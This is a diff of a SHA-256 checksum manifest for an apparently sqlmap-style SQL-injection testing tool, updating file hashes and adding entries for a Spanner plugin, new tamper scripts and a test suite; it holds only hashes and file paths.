-57f263084438e9b2ec2e62909fc51871e9eefb1a9156bbe87908592c5274b639  plugins/dbms/mssqlserver/takeover.py
+099f17ba54181e0dc4da721db6a2ef52f6b8e57adeaf69248500754f4ecf398d  plugins/dbms/mssqlserver/takeover.py
 275ffb2a63c179a5b1673866fcd4020d7f30a68e6d7736e7e21094e2a3234578  plugins/dbms/mysql/connector.py
 51590c30177adf8c435e4d6d4be070f6708d81793f70577d9317daa4ef2485ba  plugins/dbms/mysql/enumeration.py
-9523715aa823ecfc7a914afabf5fe3091583c93a23ccc270c61a78b007b7a652  plugins/dbms/mysql/filesystem.py
-b5708a7e3179896f0242f6188642d0f613371b2f621ad8ebb0a53c934dd36259  plugins/dbms/mysql/fingerprint.py
+5114ca85e5aac6eaebf2ca2cf6b944250329d2d5c36a36015ac34599c9437838  plugins/dbms/mysql/filesystem.py
+86a53d0ab8e569c04325f1011969b059582252278e97cfcdb0502548a5b38908  plugins/dbms/mysql/fingerprint.py
 e2289734859246e6c1a150d12914a711901d10140659beded7aa14f22d11bca3  plugins/dbms/mysql/__init__.py
 02a37c42e8a87496858fd6f9d77a5ab9375ea63a004c5393e3d02ca72bc55f19  plugins/dbms/mysql/syntax.py
 1e6a7c6cc77772a4051d88604774ba5cc9e06b1180f7dba9809d0739bc65cf37  plugins/dbms/mysql/takeover.py
 af1b89286e8d918e1d749db7cce87a1eae2b038c120fb799cc8ee766eb6b03e1  plugins/dbms/oracle/connector.py
 5965da4e8020291beb6f35a5e11a6477edb749bdeba668225aea57af9754a4b3  plugins/dbms/oracle/enumeration.py
-94132121cd085e314e9fe63d2ac174e0e26acd4ed17cdce46f93ab36c71967d9  plugins/dbms/oracle/filesystem.py
+b8812b1e1a7c68283de3dd264bbeef1fed91eaada720fcfe088f3a62fd9fc614  plugins/dbms/oracle/filesystem.py
 0b2dd004b9c9c41dbdd6e93f536f31a2a0b62c2815eb8099299cd692b0dd08a1  plugins/dbms/oracle/fingerprint.py
 fd0bfc194540bd83843e4b45f431ad7e9c8fd4a01959f15f2a5e30dcfa6acf60  plugins/dbms/oracle/__init__.py
 a5ec593a2e57d658e3448dd108781a3761484c41c0f67f6a3db59d9def57d71a  plugins/dbms/oracle/syntax.py
 a74fc203fbcc1c4a0656f40ed51274c53620be095e83b3933b5d2e23c6cea577  plugins/dbms/oracle/takeover.py
 cc55a6bb81c182fca0482acd77ff065c441944ed7a7ef28736e4dff35d9dce5b  plugins/dbms/postgresql/connector.py
 81a6554971126121465060fd671d361043383e2930102e753c1ad5a1bea0abf6  plugins/dbms/postgresql/enumeration.py
-cd6e7b03623f9cecd8151ddaac111072edb79e16588da8e7b3c37e9d233b290b  plugins/dbms/postgresql/filesystem.py
+dcb7c9737129ae5b1d054be767a4ed3851fc2a3e50fbd1ab884552ba9dce74fb  plugins/dbms/postgresql/filesystem.py
 56a3c0b692187aef120fedb639e10cecf02fbf46e9625d327a0cd4ae07c6724e  plugins/dbms/postgresql/fingerprint.py
 9c14f8ad202051f3f7b72147bae891abb9aa848a6645aa614a051314ac91891a  plugins/dbms/postgresql/__init__.py
 4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270  plugins/dbms/postgresql/syntax.py
 d3cb1ebaf594b30cebddd16a8dcf6cf33a3536c3da4caf7e4b9d8c910288eb8d  plugins/dbms/postgresql/takeover.py
 9a63ef08407c1f4686679343e733bfc124d287ebadf747db5ecbc3abed694462  plugins/dbms/presto/connector.py
-23e2fb4fc9c6b84d7503986f311da9c3a9c6eb261433f80be1e854144ebb15b4  plugins/dbms/presto/enumeration.py
+1c966d62ce361cf681202be88d839a9bd2677b1444e6998778151ab27647199e  plugins/dbms/presto/enumeration.py
 874532c0a1a09e2c3d6ea5f4b9e12552ce18ae04a8d13a9f8e099071760f4a73  plugins/dbms/presto/filesystem.py
-acd58559efbce9f94683260c45619286b5bb015ff5dbf39b9e8c9b286f34fbe8  plugins/dbms/presto/fingerprint.py
+338fbc37ae85f293f07461127dd1465a3ad6bc6bedcdb025ffac35df8bfc8949  plugins/dbms/presto/fingerprint.py
 5c104b3ee2e86bf29a8f446d7779470b42d173e87b672c43257289b0d798d2b1  plugins/dbms/presto/__init__.py
 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/presto/syntax.py
 98e28b754352529381b5cffdc701a1c08158d7e7466764310627280d51f744ba  plugins/dbms/presto/takeover.py
@@ -439,6 +455,13 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8  plugins/dbms/r
 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a  plugins/dbms/snowflake/__init__.py
 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/snowflake/syntax.py
 da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f  plugins/dbms/snowflake/takeover.py
+0163ce14bfa49b7485ab430be1fa33366c9f516573a89d89120f812ffdbc0c83  plugins/dbms/spanner/connector.py
+cb2c802d695d0b3bdc0769a2f767e58351c73a900db2ddb8f89f863bd5546947  plugins/dbms/spanner/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/spanner/filesystem.py
+30f4caea09eb300a8b16ff2609960d165d8a7fa0f3034c345fea24002fea2670  plugins/dbms/spanner/fingerprint.py
+7c46a84ece581b5284ffd604b54bacb38acc87ea7fbac31aae38e20eb4ead31a  plugins/dbms/spanner/__init__.py
+54a184528a74d7e1ff3131cbca2efa86bbf63c2b2623fb9a395bdb5d2db6cf5a  plugins/dbms/spanner/syntax.py
+949add058f3774fbed41a6a724985ac902abe03b0617ec99698e3a29292efa43  plugins/dbms/spanner/takeover.py
 cae01d387617e3986b9cfb23519b7c6a444e2d116f2dc774163abec0217f6ed6  plugins/dbms/sqlite/connector.py
 fbcff0468fcccd9f86277d205b33f14578b7550b33d31716fd10003f16122752  plugins/dbms/sqlite/enumeration.py
 013f6cf4d04edce3ee0ede73b6415a2774e58452a5365ab5f7a49c77650ba355  plugins/dbms/sqlite/filesystem.py
@@ -447,7 +470,7 @@ f5b28fe6ff99de3716e7e2cd2304784a4c49b1df7a292381dae0964fb9ef80f3  plugins/dbms/s
 351a9accf1af8f7d18680b71d9c591afbe2dec8643c774e2a3c67cc56474a409  plugins/dbms/sqlite/syntax.py
 e56033f9a9a1ef904a6cdbc0d71f02f93e8931a46fe050d465a87e38eb92df67  plugins/dbms/sqlite/takeover.py
 b801f9ed84dd26532a4719d1bf033dfde38ecaccbdea9e6f5fd6b3395b67430d  plugins/dbms/sybase/connector.py
-8173165097ac6720258cf8a5ccf97600d5aa94378182ad0e1ccaa4cfcfa0c038  plugins/dbms/sybase/enumeration.py
+397836e1d3cff87627f92633b4852bbbb143ca4306fe99ab577b25b7aa69c9cb  plugins/dbms/sybase/enumeration.py
 73b41e33381cd8b13c21959006ef1c6006540d00d53b3ccb1a7915578b860f23  plugins/dbms/sybase/filesystem.py
 49ec03fe92dab994ee7f75713144b71df48469dca9eb8f9654d54cdcb227ea2c  plugins/dbms/sybase/fingerprint.py
 0d234ddd3f66b5153feb422fc1d75937b432d96b5e5f8df2301ddcadf6c722b2  plugins/dbms/sybase/__init__.py
@@ -469,53 +492,55 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd  plugins/dbms/v
 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e  plugins/dbms/virtuoso/takeover.py
 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc  plugins/generic/connector.py
 a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3  plugins/generic/custom.py
-c091caecc93c01e17fa5432101555cae824492c060b9b7ee35cb49a211365076  plugins/generic/databases.py
-4050f9dfa8a2f8dbe6ae75f91d71b3d1fa3a4b1bd28404c4a346d5a83ad512df  plugins/generic/entries.py
+6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f  plugins/generic/databases.py
+13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461  plugins/generic/entries.py
 d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5  plugins/generic/enumeration.py
-a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df  plugins/generic/filesystem.py
+8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab  plugins/generic/filesystem.py
 efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db  plugins/generic/fingerprint.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/generic/__init__.py
 ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00  plugins/generic/misc.py
 7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1  plugins/generic/search.py
 da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4  plugins/generic/syntax.py
-eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2  plugins/generic/takeover.py
-45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de  plugins/generic/users.py
+cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883  plugins/generic/takeover.py
+38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9  plugins/generic/users.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/__init__.py
-423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30  README.md
-c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b  sqlmapapi.py
-4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97  sqlmapapi.yaml
-a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9  sqlmap.conf
-4cec2aae8d65d67cd6db60f00217aa05ab449345ed3a38e04697b85b53d755f1  sqlmap.py
+5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c  README.md
+46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc  sqlmapapi.py
+f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a  sqlmapapi.yaml
+627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8  sqlmap.conf
+41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2  sqlmap.py
 eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804  tamper/0eunion.py
 a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba  tamper/apostrophemask.py
 cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4  tamper/apostrophenullencode.py
 0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe  tamper/appendnullbyte.py
 11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41  tamper/base64encode.py
-cb833979eccf26a5e176f7c8ca40a24bf9904cb2902a1b9df436aefb6a24447e  tamper/between.py
+1b55b7c59c623411c8cf328fff9e7de96a2dfc48ef4e5455325bfd41aebbbc13  tamper/between.py
 6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34  tamper/binary.py
-9e1852d61d439181c42cb6d28656e9464a1dd5991269f000fb47e107f2f6f4f1  tamper/bluecoat.py
-578e36fcf7d596574119ef75cbf1a83040913587a02855f0b6a7e684f9f9c8a5  tamper/chardoubleencode.py
+3fb1a7f8a37d8a49fb88fa880e163ff75a2b224c4a7799abe29bec1a367d5273  tamper/blindbinary.py
+f833cfbb53e6849ed1b3b554ec1c973f85e6d41ebd62f94f8e0dcf0ba5da2f49  tamper/bluecoat.py
+69c7eb987dec666da227ee1024c31b89ad324a3f7cab287ada6dade7f51c8a36  tamper/chardoubleencode.py
 c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9  tamper/charencode.py
 72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0  tamper/charunicodeencode.py
-50107854594fb13b4b95eed2ab8e66d2dd5470dd7d6b59c124ca766b1ec4b6ed  tamper/charunicodeescape.py
+249c938290c93df028a2b72762e6683be3ef6ea2bc334dd106af6d1a8048b97b  tamper/charunicodeescape.py
 d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16  tamper/commalesslimit.py
 1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7  tamper/commalessmid.py
 ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5  tamper/commentbeforeparentheses.py
-66cad47087c78a5658445f8a00f2e1cd533a6d7c57aec2d1eb1fe486956aa3ea  tamper/concat2concatws.py
-b5a5ba94a78cf83b35cdb0b08d9d69dbf1f33c07cc5152c560ae5aee54a4c066  tamper/decentities.py
+27f74b1c007713f753e0278bc056b09cd715c364847977962d6a198ecefa14ff  tamper/concat2concatws.py
+4cc9f6d319fbf3b60de4b9a487f9630e95cfef0ebf7749b623526b91510668a5  tamper/decentities.py
 1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a  tamper/dunion.py
-99c59e6fd7cafc9238c53e037eff457823854eef7cb0c5ea05941e0223229209  tamper/equaltolike.py
-b3940e8d029150a81f17a2da1141928c31b6abb9ade3672d093051e310439995  tamper/equaltorlike.py
-d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f  tamper/escapequotes.py
+ab455ab2d7bf89e2d283799841556e2b87c53bd288aca88f2d9f1ea5b9c39cb8  tamper/equaltolike.py
+c686219f6e1b22be654792ead82c55947c11dc55901db6173fbc9821b6da625d  tamper/equaltorlike.py
+d06c4ba69f645fe60e786085c76fa163708938d105652a03d03f3e0407357205  tamper/escapequotes.py
 0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c  tamper/greatest.py
-26e57bc7c118168f20a5fc80d2d2fdbef05c027328c5c55cbbe92047ee8123da  tamper/halfversionedmorekeywords.py
-f0a7b635061385a3bf399cc51faf4d5e10694266aaa21fba557ca655c00a09bc  tamper/hex2char.py
-9096cbf2283137d592408325347f46866fd139966c946f8ba1ea61826472d0bb  tamper/hexentities.py
-3e518ace6940d54e8844c83781756e85d5670c53dfac0a092c4ee36cd5111885  tamper/htmlencode.py
-04028ea55034ef5c82167db35cb1276d3d5c717f6b22507b791342ccf82722ad  tamper/if2case.py
-365085e79d296791464ec3f041a26554b19ba4865c4a727e258e9586b0bcfbe7  tamper/ifnull2casewhenisnull.py
-e73e3723d4b61515d7ad2c0fe6e9a9dcaeeac6a93ed6149f44d59e4e41543226  tamper/ifnull2ifisnull.py
+89c2606da517d063f5a898a33d5bfd8737eef837552fc1127cea512ab82d0ea5  tamper/halfversionedmorekeywords.py
+76475815dedf1b56a542abdbad3f50f26f9b402775b6d475ba3b8ce64dede022  tamper/hex2char.py
+731e7ab9996dbe701d5a4971540c92245d204c11bf00efcb905bb27f3269e97b  tamper/hexentities.py
+7324f520834d6072896df56802dca416ef66c175c339ed498708144bb51d193d  tamper/htmlencode.py
+d05dafb86e82807e75bb8f54dcd6afbb4a08ba3b83b35562fee7f7022a75dbd7  tamper/if2case.py
+55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0  tamper/ifnull2casewhenisnull.py
+eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c  tamper/ifnull2ifisnull.py
 94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1  tamper/informationschemacomment.py
+ff07320cb134520c3be99407b5c1e67528f944c6a12838ab583716622e877a95  tamper/infoschema2innodb.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  tamper/__init__.py
 017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae  tamper/least.py
 d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291  tamper/lowercase.py
@@ -528,35 +553,113 @@ b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96  tamper/modsecu
 687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305  tamper/ord2ascii.py
 07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a  tamper/overlongutf8more.py
 b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0  tamper/overlongutf8.py
-dea9ab017cc4bde6f61f95a4f400ecba441525ff2d2dba886a2bf3ecdc1af605  tamper/percentage.py
+0af473a5fb3b458b0575d220b55ad96f81d9ca34eab854b597280f8bae6d35ba  tamper/percentage.py
 5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e  tamper/plus2concat.py
 3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692  tamper/plus2fnconcat.py
-007a21d189bfedd48d4ca2704fb7ea709ea72f4b206e38a7fe40446a12b0a6e3  tamper/randomcase.py
-27dfb51abe8f97a833309c2a42c31a63c0eda4711d122639c5ea31e5b5a9021a  tamper/randomcomments.py
+f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0  tamper/randomcase.py
+5a7047f97c1e6a29e37c13607d92776f1b0eebce96f7e4d6926f459e73abb382  tamper/randomcomments.py
 e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b  tamper/schemasplit.py
 21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90  tamper/scientific.py
 7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813  tamper/sleep2getlock.py
-856de1573ba9b08f6f33e28ca5a96341697762afa163835dcd4772ba6e1dadc6  tamper/space2comment.py
-715b56e60e8f7bf0a1198b356a32374797a8c2e1ba1f888794626205d63c63d5  tamper/space2dash.py
-21c43aafe994e798335e6756fbed15f430629beb49042b56d47f232022044a65  tamper/space2hash.py
-329fa6e9bb27e1770ccc1c42c3b3ddc8e57a970959d8482ff102d7bfee546a49  tamper/space2morecomment.py
-c088e7061a1a4676bc7714f64005ac275fae349f3dc665f2d565f56ecae7619f  tamper/space2morehash.py
-f823e5afbd5ab8e3fb478d984528c7f675561cf2b4eb6634a5bc11756097a01f  tamper/space2mssqlblank.py
-0d3b1336a5ca15de0ce5617c153f91ff8715c34cf886a71cb8df5ae887df301d  tamper/space2mssqlhash.py
-528723c9cea1d91dac22cb44cab6f8f0174f98c3c547b42017589d9a19a314e1  tamper/space2mysqlblank.py
-466bb10955155a042fe4ec3b3df6b98193fba1187a376179e0d4dbc068215d91  tamper/space2mysqldash.py
-4ea418f8b226b0ab369f3a8e726b7df0bc4701a2d93585de70e13febe5f438b7  tamper/space2plus.py
-b3b79bbcf48ba943af57978e32b928d567f28ed4e45651f15f9fe898e00c0331  tamper/space2randomblank.py
-6769cbe7b42265ff257a49e17e894bc19ff805802e19f27d57c07a212de70a11  tamper/sp_password.py
+7e23241588e21e17e2d167f696ebaa82b441338370e654357bbf29ee5393cb87  tamper/space2comment.py
+68b541ef75925f8e88a93129d3da259e0bbf7254febf637275382964a2763789  tamper/space2dash.py
+181b201f230aa6104c1a184091e292f8529b0bb1b0c5c1b69ded33c248c2d1e3  tamper/space2hash.py
+e390a99ea7c8de562a489c11c245c8b778b58090f636d231ce06a22829eaddb5  tamper/space2morecomment.py
+cd972178ac4464c6692939c347a03a8c1f3f5dae9d3ef83ae82328fa542b7f49  tamper/space2morehash.py
+45994faf85d0329efae3a6d34cc978dde5802f5f34614c52575e38e36c98b7d2  tamper/space2mssqlblank.py
+7fbaceff3722a32c65f3e3857a61188f05f9ea241f6393670dbb14f7081b542c  tamper/space2mssqlhash.py
+05ea031d1de1073cf0efd336ec70814403169e4123709447854129a0d4032e24  tamper/space2mysqlblank.py
+0a3bc5380bddbfddfd32ce0a353f1abf57894f03262503c4f6e88748ae4a7f58  tamper/space2mysqldash.py
+ef090bed1c71b5d6cd6422748799236dbdadbc70593a7b8ccb26ad07c7a76946  tamper/space2plus.py
+93d1cf1f6fb977356c4c8dc2d7784d4564b8da3d9f16e8253f957f80af2491f3  tamper/space2randomblank.py
+477ae0f9e3fe48b2fe5ced7b525b05a8e1db66963ff19dbb38dc810443dece57  tamper/sp_password.py
 8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3  tamper/substring2leftright.py
-d4b29c9a47961430dd0a24c22f8fe2968374ca5b0611e8b2837481c8d77672bf  tamper/symboliclogical.py
-c442ec7bb6676bdc58447fa54c719a9322b1728ba96c2358081a73fa8a4612ff  tamper/unionalltounion.py
+4b0dc71cef8daa67bcd54059e2a488340da9d64b5b2f848b2e2eff8972fc1649  tamper/symboliclogical.py
+dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191  tamper/unionalltounion.py
 9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70  tamper/unmagicquotes.py
 67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa  tamper/uppercase.py
 3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa  tamper/varnish.py
-7d469ee594390cbc10378f83af403bba249240eab00f0ad5a5fe0e3fa1fcbf0d  tamper/versionedkeywords.py
-dcb7a5584390f1604adff075c94139dd23711f2f516b68683ec4208dd0a00fda  tamper/versionedmorekeywords.py
+7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512  tamper/versionedkeywords.py
+0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7  tamper/versionedmorekeywords.py
 ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf  tamper/xforwardedfor.py
+44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724  tests/__init__.py
+d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266  tests/test_agent.py
+138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a  tests/test_api.py
+feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10  tests/test_bigarray.py
+36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42  tests/test_brute.py
+27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d  tests/test_charset.py
+7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012  tests/test_checks.py
+9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad  tests/test_cloak.py
+2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd  tests/test_common_helpers.py
+cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4  tests/test_common.py
+899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a  tests/test_comparison_json.py
+7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1  tests/test_comparison.py
+a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c  tests/test_compat.py
+75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d  tests/test_convert.py
+2bd0faeaf7db1d73dd0caab3bde9900fdaa1f38fd736a6e238cd56ff9bc67b66  tests/test_databases_enum.py
+c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f  tests/test_datafiles.py
+9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545  tests/test_datatypes.py
+8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70  tests/test_dbms_enum.py
+3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd  tests/test_decodepage.py
+180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148  tests/test_deps.py
+b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7  tests/test_dialectdbms.py
+e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2  tests/test_dialect.py
+993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff  tests/test_dicts.py
+7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f  tests/test_dns_engine.py
+ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a  tests/test_dns_server.py
+4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a  tests/test_dump_format.py
+9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276  tests/test_dump_jsonl.py
+2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420  tests/test_encoding.py
+fe1211ce43a51cd8ec7dd3395aafda8d7313ff60e2ef013072ce9fa49ca4a242  tests/test_entries.py
+bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4  tests/test_error_engine.py
+26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c  tests/test_filesystem.py
+16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703  tests/test_fingerprint.py
+20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea  tests/test_generic_takeover.py
+f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463  tests/test_graphql.py
+50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b  tests/test_gui_helpers.py
+92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac  tests/test_har.py
+cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f  tests/test_hash_crack.py
+0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f  tests/test_hashdb.py
+c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7  tests/test_hash.py
+d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9  tests/test_identifiers_output.py
+5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1  tests/test_inference_engine.py
+0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9  tests/test_ldap.py
+caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad  tests/test_misc.py
+790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7  tests/test_nosql.py
+88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d  tests/test_openapi_drift.py
+6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc  tests/test_option.py
+cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759  tests/test_pagecontent.py
+7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97  tests/test_parse_modules.py
+0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70  tests/test_payload_marking.py
+6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f  tests/test_payloads_structure.py
+d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e  tests/test_progress.py
+a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a  tests/test_property.py
+c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487  tests/test_purge.py
+2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea  tests/test_replication.py
+67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750  tests/test_report.py
+4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8  tests/test_request_basic.py
+cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b  tests/test_safe2bin.py
+5b6ce95dddbd07d0126224f4f066643938476e536e18b700ea5d916e1052a715  tests/test_search_enum.py
+a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d  tests/test_settings_regex.py
+29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b  tests/test_sgmllib.py
+d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e  tests/test_sqlparse.py
+412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e  tests/test_ssti.py
+8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f  tests/test_strings.py
+8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e  tests/test_tamper.py
+67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62  tests/test_target_parsing.py
+b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02  tests/test_targeturl.py
